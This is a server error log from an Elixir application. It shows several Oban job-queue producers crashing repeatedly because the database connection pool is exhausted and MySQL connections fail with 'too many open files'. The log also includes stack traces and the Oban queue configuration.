    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:21:07.242930Z], limit: 10, uuid: "b7c5a2fe-0333-4174-a9a0-2fb35ccf6fc6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:07.242938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182368>, refresh_timer: #Reference<0.2525715032.1077673987.32618>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:21:07.241176Z], limit: 50, uuid: "77a7e624-d1b1-485d-b200-c83a213ab8f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:07.241181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182367>, refresh_timer: #Reference<0.2525715032.1099431938.56264>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:21:07.240987Z], limit: 5, uuid: "a0179d47-08ec-4444-a8d6-c68dfd780760", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:07.240993Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56275>, refresh_timer: #Reference<0.2525715032.1099431938.56257>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:19.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:24.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:24.905000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:26.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:27.471000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:30.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:31.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:21:19.240452Z], limit: 3, uuid: "0fb4c0f5-8f3b-4de9-b95c-1bf099556511", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:19.240458Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182840>, refresh_timer: #Reference<0.2525715032.1077673987.32653>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:21:19.239216Z], limit: 20, uuid: "f13ff5d4-6890-4a72-a8f9-7c67ec60feed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:19.239226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182841>, refresh_timer: #Reference<0.2525715032.1068498948.55448>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:21:19.240828Z], limit: 50, uuid: "5f588b40-1083-4c2b-ba36-aa33029f8b98", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:19.240834Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182837>, refresh_timer: #Reference<0.2525715032.1121189889.182806>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:21:19.240931Z], limit: 10, uuid: "2c749af6-6362-43b6-bd33-dc00bd0f2e10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:19.240937Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182838>, refresh_timer: #Reference<0.2525715032.1077673987.32678>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:21:19.241138Z], limit: 5, uuid: "232f4ebf-f5d2-4252-a6a1-ceaff9ff706b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:19.241142Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182836>, refresh_timer: #Reference<0.2525715032.1121189889.182816>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:21:19.240769Z], limit: 5, uuid: "d9a47497-ee27-4b9b-a846-d02eb5d91814", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:19.240774Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182839>, refresh_timer: #Reference<0.2525715032.1077673987.32673>, dispatch_cooldown: 5, running: %{}}
